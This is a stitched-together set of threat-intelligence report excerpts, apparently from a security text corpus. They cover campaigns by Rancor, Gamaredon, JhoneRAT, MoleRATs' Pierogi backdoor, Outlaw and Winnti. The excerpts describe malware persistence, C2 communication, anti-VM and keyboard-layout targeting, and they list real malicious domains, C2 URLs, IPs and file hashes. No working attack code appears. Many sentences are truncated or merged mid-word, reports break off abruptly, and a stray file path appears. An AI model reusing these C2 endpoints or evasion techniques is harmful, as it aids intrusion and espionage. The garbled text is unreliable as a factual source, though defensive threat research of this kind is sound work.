It should be noted that the numbers are also highly influenced by the distribution of Kaspersky users around the world .
In principle , the distribution of victims should match the distribution of ASUS users around the world .
We’ve also created a tool which can be run to determine if your computer has been one of the surgically selected targets of this attack .
To check this , it compares MAC addresses of all adapters to a list of predefined values hardcoded in the malware and alerts if a match was found .
Download an archive with the tool ( .exe ) .
Also , you may check MAC addresses online .
If you discover that you have been targeted by this operation , please e-mail us at : shadowhammer@kaspersky.com .
Kaspersky Lab verdicts for the malware used in this and related attacks .
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Derusbi : Compile Date and Time : 2012-09-14 09:20:12 AM .
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Derusbi : Compile Date and Time : 2012-09-14 09:20:12 AM .
Derusbi : File Type :P E32 executable ( DLL ) Intel 80386, for MS Windows .
Derusbi : File Name : 32.dll .
Derusbi is abelieved to be used among a small group of attackers , which includes the Rancor group .
This particular sample is a loader that loads an encrypted payload for its functionality .
This DLL requires the loading executable to include a 32-byte key on the command line to be able to decrypt the embedded payload , which unfortunately we do not have .
Even though we don’t have the decryption key or loader , we have uncovered some interesting artifacts .
If the module that loads the sample is named myapp.exe the module will exit Once loaded , it sleeps for six seconds .
Looks for a Windows pipe named \\.\pipe\_kernel32.dll.ntdll.dll.user32.dll .
Looks for a Windows device named \Device\acpi_010221 .
n July 2019 , we discovered an interesting VBScript named Chrome.vbs ( SHA256 : 0C3D4DFA566F3064A8A408D3E1097C454662860BCACFB6675D2B72739CE449C2 ) associated with the Rancor group .
This particular VBScript payload beacons to domain bafunpda.xyz , which is also used by thelisted above in Table 2 .
This VBScript is obfuscated and contains packed data that is used to infect a target with multiple chained persistent artifacts .
The MOF file created by the VBScript is used as a persistence mechanism viaManagement Instrumentation ( WMI ) Event Subscriptions .
MOF files are compiled scripts that describe Common Information Model ( CIM ) classes , which are compiled into the WMI repository .
The technique is described byATT&CK IDT1084 .
This particular MOF file creates a timer event that is triggered every five seconds .
The DLL located in the Media registry key is a variant of the KHRATIt beacons to domain connect.bafunpda.xyz and attempts to connect to TCP port 4433 .
This is the same domain used by theRancor , a cyber espionage group active since at least 2017 , continues to conduct targeted attacks in Southeastand has been found using an undocumented , custom malware family – which we ’ve dubbed Dudell – to download a second stage payload once its malicious macro is executed .
Additionally , Rancor is also using the Derusbi malware family to load a secondary payload once it infiltrates a target .
Rancor : 0EB1D6541688B5C87F620E76219EC5DB8A6F05732E028A9EC36195D7B4F5E707 .
Rancor : AAEBF987B8D80D71313C3C0F2C16D60874FFECBDDA3BB6B44D6CBA6D38031609 .
Rancor : 0D61D9BAAB9927BB484F3E60384FDB6A3709CA74BC6175AB16B220A68F2B349E .
Rancor : DB982B256843D8B6429AF24F766636BB0BF781B471922902D8DCF08D0C58511E .
Rancor : CC081FFEA6F4769733AF9D0BAE0308CA0AE63667FA225E7965DF0884E96E2D2A .
Rancor : BC1C3E754BE9F2175B718ABA62174A550CDC3D98AB9C36671A58073140381659 .
Rancor : 83d1d181a6d583bca2f03c3c4e517757a766da5f4c1299fbbe514b3e2abd9e0d .
Rancor : cswksfwq.kfesv.xyz .
Rancor : Connect.bafunpda.xyz .
Rancor : 199.247.6.253 .
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Brief Description : SFX Archive Second Stage .
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data/reports_final/0040.txt
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Brief Description : SFX Archive Second Stage .
Ssdeep : 24576:vmoO8itbaZiW+qJnmCcpv5lKbbJAiUqKXM : OoZwxVvfoaPu .
Exploring it , it is possible to see several files inside of it , as well as the 6323 file .
In this case , the SFX archive contains 8 files : five of them are legit DLLs used by the “ 6323 ” executable to interoperate with the OLE format defined and used by Microsoft Office .
The “ ExcelMyMacros.txt ” and “ wordMacros.txt ” files contain further macro script , described next .
So , static analysis on the “ 6323 ” file shown as its nature : it is written using Microsoft Visual Studio .NET , therefore easily to reverse .
Before reversing the executable , it is possible to clean it allowing the size reduction and the junk instruction reduction inside the code .
The below image shows the information about the sample before and after the cleaning .
The first check performed is on the arguments : if the arguments length is equal to zero , the malware terminates the execution .
After that , the malware checks if the existence of the files “ ExcelMyMacros.txt ” and “ wordMacros.txt ” in the same path where it is executed : if true then it reads their contents otherwise it will exit .
As visible in the previous figure , the only difference between the files are in the variable , registry key and path used by Word rather than by Excel .
Finally the macros are executed using the Office engine .
So let ’s start to dissect the macros .
For a better comprehension we will be considering only one macro and in the specific case we will analyze “ wordMacros.txt ” ones .
First of all the macro will set the registry key “ HKEY_CURRENT_USER\Software\Microsoft\Office\ ” & Application.Version & _ ” \Word\Security\ ” and then will set up two scheduled tasks that will start respectively every 12 and 15 minutes : the first one will run a “ IndexOffice.vbs ” in the path “ %APPDATA%\Microsoft\Office\ ” and the second one will run “ IndexOffice.exe ” in the same path .
Finally , the malware will write the “ IndexOffice.txt ” file in the “ %APPDATA%\Microsoft\Office\ ” path .
The script will check the presence of the “ IndexOffice.exe ” artifact : if true then it will delete it and it will download a new file/script from “ http://masseffect.space/<PC_Name>_<Hex_Drive_SN>/post.php ” .
The malware tries to save the C2 response and encoding it using Encode function .
This function accepts three parameters : the input file , the output file and the arrKey ; arrKey is calculated thanks to GetKey function that accepts as input the Hexadecimal value of the Driver SN installed on the machine and returns the key as results .
Gamaredon cyberwarfare operations against Ukraine are still active .
This technical analysis reveals that the modus operandi of the Group has remained almost identical over the years .
The massive use of weaponized Office documents ,template injection , sfx archives , wmi and some VBA macrothat dinamically changes , make the Pterodon attack chain very malleable and adaptive .
However , the introduction of a .Net component is a novelty compared to previous Pterodon samples .
Gamaredon : 76ea98e1861c1264b340cf3748c3ec74473b04d042cd6bfda9ce51d086cb5a1a .
Gamaredon : e2cb06e0a5c14b4c5f58d0e56a1dc10b6a1007cf56c77ae6cb07946c3dfe82d8 .
Gamaredon : def13f94cdf793df3e9b42b168550a09ee906f07f61a3f5c9d25ceca44e8068c .
Gamaredon : c1524a4573bc6acbe59e559c2596975c657ae6bbc0b64f943fffca663b98a95f .
Gamaredon : 86977a785f361d4f26eb3e189293c0e30871de3c93b19653c26a31dd4ed068cc .
Gamaredon : http://win-apu.ddns.net/apu.dot/ .
Gamaredon : http://get-icons.ddns.net/apu.dot/ .
Gamaredon : http://masseffect.space/ .
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JhoneRAT : Cloud based python RAT targeting Middle Eastern countries .
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JhoneRAT : Cloud based python RAT targeting Middle Eastern countries .
Today , Cisco Talos is unveiling the details of a new RAT we have identified we 're calling " JhoneRAT " .
This new RAT is dropped to the victims via malicious MicrosoftThe dropper , along with the Python, attempts to gather information on the victim 's machine and then uses multiple cloud services : Google Drive , Twitter , ImgBB and Google Forms .
The RAT attempts to download additional payloads and upload the information gathered during the reconnaissance phase .
This particular RAT attempts to target a very specific set of Arabic-speaking countries .
The filtering is performed by checking the keyboard layout of the infected systems .
Based on the analysed sample , JhoneRAT targets Saudi Arabia , Iraq , Egypt , Libya , Algeria , Morocco , Tunisia , Oman , Yemen , Syria , UAE , Kuwait , Bahrain and Lebanon .
The campaign shows an actor that developed a homemade RAT that works in multiple layers hosted on cloud providers .
JhoneRAT is developed in python but not based on public source code , as it is often the case for this type of malware .
The attackers put great effort to carefully select the targets located in specific countries based on the victim 's keyboard layout .
Everything starts with a malicious document using a well-known vulnerability to download a malicious document hosted on the internet .
For this campaign , the attacker chose to use a cloud provider ( Google ) with a good reputation to avoid URL blacklisting .
The malware is divided into a couple of layers — each layer downloads a new payload on a cloud provider to get the final RAT developed in python and that uses additional providers such as Twitter and ImgBB .
This RAT is a good example of how a highly focused attack that tries to blend its network traffic into the crowd can be highly effective .
In this campaign , focusing detection of the network is not the best approach .
Instead , the detection must be based on the behaviour on the operating system .
Attackers can abuse well-known cloud providers and abuse their reputations in order to avoid detection .
The fact that this attacker decided to leverage cloud services and four different services — and not their own infrastructure — is smart from an opsec point of view .
It is hard for the targets to identify legitimate and malicious traffic to cloud provider infrastructure .
Moreover , this kind of infrastructure uses HTTPS and the flow is encrypted that makes man-in-the-middle interception more complicated for the defender .
It is not the first time an attacker used only cloud providers .
Even while using these services , the authors of this JhoneRAT went further and used different user-agent strings depending on the request , and even on the downloaders the authors used other user-agent strings .
We already published a couple of articles about ROKRAT ( here , here , here and here ) where another unrelated actor , Group123 , made the same choice but with different providers .
The attacker implemented filtering based on the keyboard 's layout .
The malware is executed only for the following layout , the country is based on the Microsoft website :' 0401 ' : Saudi Arabia .
' 0801 ' : Iraq .
' 0c01 ' : Egypt .
' 1001 ' : Libya .
' 1401 ' : Algeria .
' 1801 ' : Morocco .
' 1c01 ' : Tunisia .
' 2001 ' : Oman .
' 2401 ' : Yemen .
' 2801 ' : Syria .
' 3801 ' : UAE .
' 3401 ' : Kuwait .
' 3c01 ' : Bahrain .
' 3001 ' : Lebanon .
We identified three malicious Microsoftdocuments that download and load an additional Office document with a Macro .
The oldest one from November 2019 , named " Urgent.docx " .
The author of the document asks to enable editing in English and in Arabic .
The second document from the beginning of January is named " fb.docx " and contains usernames and passwords from an alleged " Facebook " leak .
The more recent document is from mid-January and alleged to be from a United Arab Emirate organization .
The author blurred the content and asks the user to enable editing to see the content .
In the three documents , an additional Office document containing a Macro is downloaded and executed .
The documents are located on Google Drive .
The template located on Google Drive contains a macro .
The macro contains a virtual machine detection technique based on the serial number of the disks available in the victim environment .
Indeed , some VMs do not have serial numbers and the macro is executed only if a serial number exists .
A WMIC command is executed to get this information on the targeted system .
If a serial number exists , the rest of the code is executed .
The purpose is to download an image from a new Google Drive link .
It is interesting to note that the filename of the downloaded image is randomly generated based on a dictionary : Array ("cartoon" , "img" ,"photo") .
The filename will be cartoon.jpg or img.jpg or photo.jpg and the image usually depicts a cartoon .
The image file is a real image with a base64-encoded binary appended at the end .
The malware author has a curious sense of humor .
The base64 data and image are separated by the " **** " string .
The decoded binary filename is also randomly generated based on a dictionary : Array("proc" , "chrome" , "winrar") .
It can be proc.exe or chrome.exe or winrar.exe .
The decoded base64 data is an AutoIT binary .
This binary downloads a new file on Google Drive .
The filename is also randomly generated based on a dictionary $ARRAY[5]=["prc" ,"winrar" ,"chrome" ,"sync" ,"COM surr"] .
The final payload is a remote access tool ( RAT ) written in python .
We named this RAT " JhoneRAT " .
The python code is wrapped into an executable using pyinstaller .
It uses minimal obfuscation applied only on variables and function naming .
The RAT starts by launching three threads .
The first is responsible for checking if the system has the targeted keyboard layout — this is exclusively in Arabic-speaking countries .
The second will create the persistence and , finally , the last one to be started is the main cycle for the RAT .
As we explained before , the RAT targets specific countries by checking the keyboard 's layout .
In fact , this is one of the first checks it performs when it is executed .
The persistence is achieved by adding an entry with the name " ChromeUpdater " to the ' Software\\Microsoft\\Windows\\CurrentVersion\\Run ' .
This RAT uses three different cloud services to perform all its command and control ( C2 ) activities .
It checks for new commands in the tweets from the handle @jhone87438316 ( suspended by Twitter ) every 10 seconds using the BeautifulSoup HTML parser to identify new tweets .
These commands can be issued to a specific victim based on the UID generated on each target ( by using the disk serial and contextual information such as the hostname , the antivirus and the OS ) or to all of them .
The Exfiltration , however , is done via other cloud providers .
The screenshots are exfiltrated via the ImgBB website .
The remaining commands send feedback by posting data into Google Forms .
Finally , the RAT is able to download files encoded in base64 on Google Drive .
Feature-wise , the RAT has three commands :Take a screenshot and upload it to ImgBB .
Download binary disguised has a picture from Google Drive and execute it .
Execute a command and send the output to Google Forms .
The attacker put a couple of tricks in place to avoid execution on virtual machines ( sandbox ) .
The first trick is the check of the serial number of the disk .
The actor used the same technique in the macro and in the JhoneRAT .
By default , most of the virtual machines do not have a serial number on the disk .
The attacker used a second trick to avoid analysis of the python code .
The actor used the same trick that FireEye in the Flare-On 6 : Challenge 7: They removed the header of the python bytecode .
It can be perfectly executed without the header , but tools such as uncompyle6 need this header : $ uncompyle6 final2 .
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ImportError : Unknown magic number 227 in final2 .
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ImportError : Unknown magic number 227 in final2 .
Additionally , the generated code by uncompyle6 varies depending on the version and the impact is important .
Based on our analysis and the behaviour of the executed malware , the correct interpretation is the first one based on the oldest version of uncompyle6 .
For this specific condition , it is important because it 's filtering on the keyboard layout to identify the targets .
This campaign shows a threat actor interested in specific Middle Eastern and Arabic-speaking countries .
It also shows us an actor that puts effort in opsec by only using cloud providers .
The malicious documents , the droppers and the RAT itself are developed around cloud providers .
Additionally the attackers implemented anti-VM ( and sandbox ) and anti-analysis tricks to hide the malicious activities to the analyst .
For example , the VM or the sandbox must have the keyboard layout of the targeted countries and a disk serial number .
This campaign started in November 2019 and it is still ongoing .
At this time , the API key is revoked and the Twitter account is suspended .
However , the attacker can easily create new accounts and update the malicious files in order to still work .
This campaign shows us that network-based detection is important but must be completed by system behaviour analysis .
JhoneRAT : 273aa20c4857d98cfa51ae52a1c21bf871c0f9cd0bf55d5e58caba5d1829846f .
JhoneRAT : 29886dbbe81ead9e9999281e62ecf95d07acb24b9b0906b28beb65a84e894091 .
JhoneRAT : d5f10a0b5c103100a3e74aa9014032c47aa8973b564b3ab03ae817744e74d079 .
JhoneRAT : 6cc0c11c754e1e82bca8572785c27a364a18b0822c07ad9aa2dc26b3817b8aa4 .
JhoneRAT : 7e1121fca3ac7c2a447b61cda997f3a8202a36bf9bb08cca3402df95debafa69 .
JhoneRAT : b4a43b108989d1dde87e58f1fd6f81252ef6ae19d2a5e8cd76440135e0fd6366 .
JhoneRAT : https://drive.google.com/uc?export=download&id=1vED0wN0arm9yu7C7XrbCdspLjpoPKfrQ .
JhoneRAT : https://drive.google.com/uc?export=download&id=1LVdv4bjcQegPdKrc5WLb4W7ad6Zt80zl .
JhoneRAT : https://drive.google.com/uc?export=download&id=1OlQssMvjb7gI175qDx8SqTgRJIEp5Ypd .
JhoneRAT : https://drive.google.com/uc?export=download&id=1d-toE89QnN5ZhuNZIc2iF4-cbKWtk0FD .
JhoneRAT : https://drive.google.com/uc?export=download&id=1kbHVkvPIjX49qJ62TBz6drW2YPiiaX2a .
JhoneRAT : https://twitter.com/jhone87438316 .
New Cyber Espionage Campaigns Targeting Palestinians - Part 2 : The Discovery of the New , Mysterious Pierogi backdoor .
Since December 2019 , the Cybereason Nocturnus team has been investigating a campaign targeting Palestinian individuals and entities in the Middle East , mostly within the Palestinian territories .
This campaign uses social engineering and decoy documents related to geopolitical affairs and relations between the Palestinian government , and references Egypt , Hezbollah , and Iran .
Part one of this research investigates the Spark campaign , where attackers use social engineering to infect victims , mainly from the Palestinian territories , with the Spark backdoor .
For more information about part one , click here .
During the attacks , victims are infected with a previously undocumented backdoor , dubbed Pierogi by Cybereason .
This backdoor allows attackers to spy on targeted victims .
Cybereason suspects that the backdoor may have been obtained in underground communities rather than home-grown , as the evidence found in the code of the backdoor suggests it may have been developed by Ukranian-speaking hackers .
The tactics , techniques , and procedures ( TTPs ) , content , and theme of the decoy documents , as well as the victimology observed in the campaign , resemble previous attacks that have targeted Palestinians .
In particular , these campaigns appear to be related to attacks carried out by a group called MoleRATs ( aka , Gaza Cyber Gang , Moonlight ) , an Arabic-speaking , politically motivated group that has been operating in the Middle East since 2012 .
Cyber Espionage with a New Malware : The Cybereason Nocturnus team has discovered recent , targeted attacks in the Middle East to deliver the Pierogi backdoor for politically-driven cyber espionage .
Targeting Palestinians : The campaigns seems to target Palestinian individuals and entities , likely related to the Palestinian government .
Using Geopolitically-charged Lure Content : The attackers use specially crafted lure content to trick their targets into opening malicious files that infect the victim ’s machine with the Pierogi backdoor .
The decoy content of the malicious files revolves around various political affairs in the Middle East , specifically targeting the tension between Hamas and other entities in the region .
Perpetrated by an Arabic-speaking APT , MoleRATs : The modus-operandi of the attackers as well as the social engineering decoy content seem aligned with previous attacks carried out by an Arabic-speaking APT group called MoleRATs ( aka Gaza Cybergang ) .
This group has been operating in the Middle East since 2012 .
Similar to previous attacks , this campaign starts with social engineering .
In one instance , it lures victims to open an email attachment .
In others , it persuades victims to download a report about a recent political affair pertaining to the Middle East and specifically to Palestinian matters .
In most cases , the downloaded file is either an executable that masquerades as a Microsoft Word document or a weaponized Microsoft Word document .
As soon as the victim double-clicks on the dropper , they are presented with the decoy document .
The document lowers the victim ’s suspicions by distracting them with a real document while the dropper installs the backdoor .
However , some of the documents also play an additional role in the attack .
While some are more neutral , quoting from newspapers and the media , others seem to report fake news to spread misinformation that serves a political agenda .
With regards to decoy content themes , this campaign resembles previous campaigns reported in blogs by Vectra , Unit 42 , and Talos .
The contents of the decoy documents seems to include :Potentially fake documents that appear to be issued by the Palestinian government .
Meetings minutes of different Palestinian organizations .
News about Hamas and the Palestinian National Authority .
Potentially fake , leaked Hamas documents .
Criticism of and embarrassing content about Hamas .
adopted resolution Unlimited support for Palestinian people.docx :Describes a resolution by the Asian Parliamentary Assembly ( APA ) held in Anatalya , announcing unlimited support for the Palestinian people 7b4c736b92ce702fb584845380e237aa55ddb4ef693ea65a766c9d9890b3852c .
jalsa.rar :Contains the above mentioned document , as well as photos of the assemblies and political cartoons criticizing Hamas 50a597aa557084e938e2a987ec5db99187428091e8141e616cced72e6a39de1b .
Internet in government.pdf / Define the Internet in government institutions.pdf :Announcement about a new regulation regarding internet usage in Palestinian government institutions .
The announcement states that porn , gambling and entertainment sites will be blocked 9e4464d8dc8a3984561a104a93a7b8d6eb3d622d5187ae1d3fa6f6dafa2231a8 .
Letter allegedly from theFederation of Independent Palestinian Communities and Organizations and Events in the Diaspora .
The letter commemorates the 73rd anniversary of the Syrian Army , and expresses the Palestinian support of Bashar Al-Asad .
The letter ends with “ Death to Israel ” and “ Humiliation and shame to the tyrant America ” 65c8b9e9017ac84d90553a252c836c38b6a3902e5ab24d3a4b8a584e2d615fcc .
Daily summary of news concerning different Palestinian govenment related issues d3771d58051cb0f4435232769ed11c0c0e6457505962ddb6eeb46d900de55428 .
Directory of Government Services.pdf :A screenshot from a website of the Palestinian government , showing a directory of the different ministries 9e4464d8dc8a3984561a104a93a7b8d6eb3d622d5187ae1d3fa6f6dafa2231a8 .
Meeting Agenda.pdf :Corrupted file f6876fd68fdb9c964a573ad04e4e0d3cfd328304659156efc9866844a28c7427 .
imgonline-com-ua-dexifEEdWuIbNSv7G.jpg :potentially leaked Hamas document detailing Hamas 32nd anniversary expenses in different regions in the Palestinian Territories 932ecbc5112abd0ed30231896752ca471ecd0c600b85134631c1d5ffcf5469fb .
An .mp3 file of a song by the famous Syrian singer Asala Nasri ( song name : Fen Habibi , translation : “ where is my loved one? ” ) 4583b49086c7b88cf9d074597b1d65ff33730e1337aee2a87b8745e94539d964 .
In addition to the documents , the content includes a number of political cartoons that criticize Hamas ’ relations with Iran and Hamas ’ standing as a resistance movement .
While the majority of infections in this campaign did not originate from Malicious Microsoft Word document , the Cybereason Nocturnus team found several weaponized Microsoft Word document with an embedded downloaderthat downloads and installs the backdoor used in this attack .
CV Manal 1 :Resume of a woman from Abu-Dis , Palestinian Authority 4a6d1b686873158a1eb088a2756daf2882bef4f5ffc7af370859b6f87c08840f .
A statement of the Ministry of Finance on civil and military employee benefits and salaries , discussing the conterversial issue Palestinian Authority employees that have not been paid or paid in full their salaries b33f22b967a5be0e886d479d47d6c9d35c6639d2ba2e14ffe42e7d2e5b11ad80 .
When the victims open the document , they are encouraged to click on Enable Content , which causes the embedded maliciouscode to run .
The macro code embedded in the document is rather simple and is not obfuscated .
In fact , it is almost unusual in its unsophistication .
The macro code does the following :Downloads a Base64 encoded payload from the following URL :Writes the decoded payload to C:\ProgramData\IntegratedOffice.txt .
Decodes the Base64 payload and writes the file to C:\ProgramData\IntegratedOffice.exe .
Runs the executable file and deletes the .txt file .
Pierogi , the backdoor in this attack , appears to be a new backdoor written in Delphi .
It enables the attackers to spy on victims using rather basic backdoor capabilities .
While it is unknown at this point whether the backdoor was coded by the same members of the group behind the attacks , there are indications that suggest that the malware was authored by Ukranian-speaking malware developers .
The commands used to communicate with the C2 servers and other strings in the binary are written in Ukrainian .
This is why we chose to name the malware Pierogi , after the popular East European dish .
The backdoor has the following capabilities :Collects information about the infected machine .
Uploads files to the attackers ’ server .
Downloads additional payloads .
Takes screenshots from the infected machine .
Executes arbitrary commands via the CMD shell .
In addition to spy features , the backdoor also implements a few checks to ensure it is running in a safe environment .
Specifically , it looks for antivirus and other security products .
The backdoor queries Windows for installed antivirus software using WMI : SELECT * FROM AntiVirusProduct It looks for specific antivirus and security products installed on the infected machine , such as Kaspersky , eScan , F-secure and Bitdefender .
The backdoor achieves persistence using a classic startup item autorun technique :A shortcut is added to the the startup folder : C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup .
Once the user logs on to the infected machine , the shortcut points to the file binary location in the C:\ProgramData\ folder .
The GUID generated by the malware is saved in a file called GUID.bin .
This file is created in the same folder as the binary of the backdoor( C:\ProgramData\GUID.bin ) .
The backdoor has rather basic C2 functionality implemented through a predefined set of URLs :Sending machine information and a heartbeat to the C2 :URL : http://nicoledotson.icu/debby/weatherford/Yortysnr The information sent to the C2 includes :computer name , username , and GUID .
av : Name of detected antivirus .
osversion : version of the operating system .
aname : the location of the malware on the infected machine .
Requesting commands from the C2 server :URL : http://nicoledotson.icu/debby/weatherford/Ekspertyza .
Ekspertyza means expertise or examination in Ukranian .
There are 3 basic commands coming from the server in the form of MD5 hashes :Dfff0a7fa1a55c8c1a4966c19f6da452 : cmd .
51a7a76a7dd5d9e4651fe3d4c74d16d6 : downloadfile .
62c92ba585f74ecdbef4c4498a438984 : screenshot .
Uploading data ( mainly screenshots ) to the C2 :URL : http://nicoledotson.icu/debby/weatherford/Zavantazhyty .
Zavantazhyty means to load or download in Ukranian .
This command is used to upload collected data to the C2 server .
For example , in some instances the backdoor uploads screenshots taken from an infected machine , as can be seen in the example below .
Removing information :URL : http://nicoledotso.icu/debby/weatherford/Vydalyty .
Vydalyty means to remove or delete in Ukrainian .
The malware can delete various requests based on the command below .
The records of the domains and IPs involved in this campaign seem to show that the attackers created a new infrastructure specifically for this campaign .
The domains were registered in November 2019 and operationalized shortly after .
In part two of this research , we examined theCybereason suspects thiscampaign targets Palestinian individuals and entities in the Middle East , specifically directed atthose in the Palestinian government .
The threat actors behind the campaign use social engineering to infect their victims with the Pierogi backdoor for cyber espionage purposes .
The threat actor behind the attack invested considerable time and effort to lure their victims with specially-crafted documents that target Palestinian individuals and entities in the Middle East .
In our analysis , we reviewed the TTPs and the decoy content , and pointed out the similarities between previous attacks that have been attributed to MoleRATs , an Arabic-speaking , politically motivated group that has operatedin the Middle East since 2012 .
The Pierogi backdoor discovered by Cybereason during this investigation seems to be undocumented and gives the threat actors espionage capabilities over their victims .
Based on the Ukranian language embedded in the backdoor , Cybereason raises the possibility that the backdoor was obtained in underground communities by the threat actors , rather than developed in-house by the group .
Outlaw Updates Kit to Kill Older Miner Versions , Targets More Systems .
As we ’ve observed with cybercriminal groups that aim to maximize profits for every campaign , silence does n’t necessarily mean inactivity .
It appears hacking group Outlaw , which has been silent for the past few months , was simply developing their toolkit for illicit income sources .
While they have been quiet since our June analysis , we observed an increase in the group ’s activities in December , with updates on the kits ’ capabilities reminiscent of their previous attacks .
The updates expanded scanner parameters and targets , looped execution of files via error messages , improved evasion techniques for scanning activities , and improved mining profits by killing off both the competition and their own previous miners .
We analyzed the kits , which were designed to steal information from the automotive and finance industries , launch subsequent attacks on already compromised systems , and ( possibly ) sell stolen information .
Comparing this development to their previous attacks , we think Outlaw may be aiming to go after enterprises that have yet to update their systems , assessing security and changes with their previously infected hosts , finding new and old targets , and possibly testing their updates in the wild .
We will continue to observe the group ’s activities as they target industries from the United States and Europe .
Based on the samples we collected and traced to 456 distinct IPs , we expect the group to be more active in the coming months as we observed changes on the versions we acquired .
These new samples targeted Linux- and Unix-based operating systems , vulnerable servers , and internet of things ( IoT ) devices by exploiting known vulnerabilities with available exploits .
This time , the group explored unpatched systems vulnerable to CVE-2016-8655 and Dirty COW exploit ( CVE-2016-5195 ) as attack vectors .
Files using simple PHP-based web shells were also used to attack systems with weak SSH and Telnet credentials .
While no phishing- or social engineering-initiated routines were observed in this campaign , we found multiple attacks over the network that are considered “ loud. ” These involved large-scale scanning operations of IP ranges intentionally launched from the command and control ( C&C ) server .
The honeynet graphs , which show activity peaks associated with specific actions , also suggest that the scans were timed .
We also considered the move as an obfuscation technique , as it was mixed with a lot of script kiddie activities that can easily be mistaken for grey noise online .
The attackers could hide their activities if they noted the business hours of the intended targets and performed the actions coinciding with said times .
From the sample we analyzed , attacks started from one virtual private server ( VPS ) that searches for a vulnerable machine to compromise ( previous techniques used malicious URLs or infecting legitimate websites for bot propagation ) .
Once infected , the C&C commands for the infected system launches a loud scanning activity and spreads the botnet by sending a “ whole kit ” of binary files at once with naming conventions same as the ones already in the targeted host , likely banking on breaking through via “ security through obscurity. ” They attempted to evade traffic inspection by encoding the code for the scanner with base-64 .
The zombie host initiates the scan — another routine from previous campaigns — but updated with a larger set of parameters and programmed to run in the background .
The kit we found is in tgz format , though we have observed some samples disguised as png or jpg .
While previous routines took advantage of competing miners ’ activities and unrelated components to hijack the profit , the latest version of the code attempts to remove all related files and codes from previous infections ( including their own to make sure the running components are updated , as well as those from other cybercriminals to maximize the resources of the zombie host ) and creates a new working directory /tmp/.X19-unix to move the kit and extract the files .
The tsm binary then runs in the background , forwarding a series of error messages to /dev/null to keep the code running , ensuring the continuous execution of the code referenced with a set of parameters /tmp/up.txt .
The script then waits 20 minutes before it runs the wrapper script initall :2e2c9d08c7c955f6ce5e27e70b0ec78a888c276d71a72daa0ef9e3e40f019a1a install .
Another variant executes a set of commands once a system is successfully compromised .
Most of these commands are related to gathering information from the infected machine ( number of CPU cores , users , scheduled tasks , running processes , OS installed , and CPU and memory information ) via the dota3 payload , as well as changing the password to a random string also stored in /tmp/up.txt .
In a previous execution ( published in June 2019 ) , we observed that dota2 had its own folder but it was hardly executed , indicating that this version is the updated iteration .
Running the script removes the remaining files and scripts from previous attacks , keeping a low profile to evade detection .
If the system has been previously infected with a cryptominer , it also attempts to kill the running miner and all its related activities .
Based on a bashtemp directory of the latest sample we found , there are other compiled ELF scripts , named init and init2 , that loops the kit to keep running :Both init and init2 scripts make sure all other running mining services are killed , and that all the files in the working directory are executed by giving 777 permissions .
We also found the init0 script running ; the script cleans out all miners regardless of its origin .
It then resets cron and removes possible cache files from other programs , starts scripts and binaries a , init0 , and start , and sets the persistence by modifying the crontab .
The a binary is a script wrapper to start run , a Perl-obfuscated script for installation of a Shellbot to gain control of the infected system .
The Shellbot disguises itself as a process named rsync , commonly the binary seen on many Unix- and Linux-based systems to automatically run for backup and synchronization .
This allows the malicious activity to evade detection .
The Shellbot script is added to run after the victim ’s system reboots , and scripts /a/upd , /b/sync/ , and /c/aptitude/ are added to the crontab .
However , while we observed the presence of the codes , the functions of upd , sync and aptitude were disabled in the kits ’ latest version .
It remains unclear whether these are leftover code from the previous versions or their particular purposes were served .
Shellbot is also used to control the botnet , with a command that is sent and run from the C&C to determine if there is a code execution in the shell , the hostname , and its architecture .
All results and system information collected from the infected system are stored locally in the device for a period before Outlaw retrieves them via the C&C .
We also found traces of Android Package Kits- ( APK- ) and Android Debug Bridge ( ADB )-based commands that enable cryptocurrency mining activities in Android-based TVs .
Since discovering the operations of this group in 2018 , Outlaw continues to use scripts , codes , and commands that have been previously used and deployed .
These routines are indicative of the group ’s aim to get quantitative returns through varied cybercriminal profit streams .
This was also reinforced by their naming conventions , wherein different versions are simply named after the code iterations , following a specific format regardless of the actual function of the code .
Furthermore , based on the group ’s use of dated exploits as vectors that companies would have likely addressed with monitoring and regular patching schedules , it appears that they ’re going after enterprises who have yet to patch their systems , as well as companies with internet-facing systems with weak to no monitoring of traffic and activities .
Considering the amount of resources needed to deploy all the necessary patches for an enterprise ( such as quality testing and operations alignment ) , which implies costly downtime for operations and the hesitation to update all systems immediately , Outlaw may find even more targets and victims for their updated botnets every time there is a patch released and waiting to be downloaded .
Save for a few iteration updates , combinations from previous deployments , and using the routines repetitively for every campaign , we found very little changes in the group ’s toolkit , which allowed various honeypots across the Eastern European region to detect many of the sent binaries .
Meanwhile , the group uses a wide range of IP addresses as input for scanning activities that are grouped by country , allowing them to attack certain regions or areas within particular periods of the year , as previously observed .
We think the group has likely become more enterprising , and learned to take advantage of some details from their previous campaigns to maximize profit opportunities while exerting minimal effort .
By shaping the attack , the group may be able to create niches in the underground , catering to the specific needs of their customers .
Also aware of the existing laws in Europe , they can avoid prosecution in certain countries as long as they avoid attacking them .
Collection of results and data from scanning in this manner might be easier to sort ( while allowing them to stay under the radar ) , as compared to getting feedback from zombie bots deployed around the world simultaneously .
We will continue to monitor this hacking group ’s activities and their toolkit ’s developments .
Outlaw ’s attack routines may not be new , but it still serves as a reminder for enterprises to update their systems regularly .
Legacy system users may use their providers ’ virtual patches .
Users are advised to close unused ports , to secure ports and other internet-facing devices that are regularly open for system administrators ’ support .
Users can also adopt a multilayered security solution that can protect systems from the gateway to the endpoint , actively blocking malicious URLs by employing filtering , behavioral analysis , and custom sandboxing .
Users can consider adopting security solutions that can defend against malicious bot-related activities such as Outlaw ’s through a cross-generational blend of threat defense techniques .
Trend Micro™ XGen™ security provides high-fidelity machine learning that can secure the gateway and endpoints , and protect physical , virtual , and cloud workloads .
With technologies that employ web/URL filtering , behavioral analysis , and custom sandboxing , XGen security offers protection against ever-changing threats that bypass traditional controls and exploit known and unknown vulnerabilities .
A multi-layered connected network defense and complete visibility into all network traffic , in addition to next-generation intrusion prevention system ( NGIPS ) , can help organizations stay a step ahead of threats that could compromise intangible assets .
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Winnti Group targeting universities in Hong Kong .
In November 2019 , we discovered a new campaign run by the Winnti Group against two Hong Kong universities .
We found a new variant of the ShadowPad backdoor , the group ’s flagship backdoor , deployed using a new launcher and embedding numerous modules .
The Winnti malware was also found at these universities a few weeks prior to ShadowPad .
The Winnti Group , active since at least 2012 , is responsible for for high-profile supply-chain attacks against the video game and software industries leading to the distribution of trojanized software ( such as CCleaner , ASUS LiveUpdate and multiple video games ) that is then used to compromise more victims .
It is also known for having compromised various targets in the healthcare and education sectors .
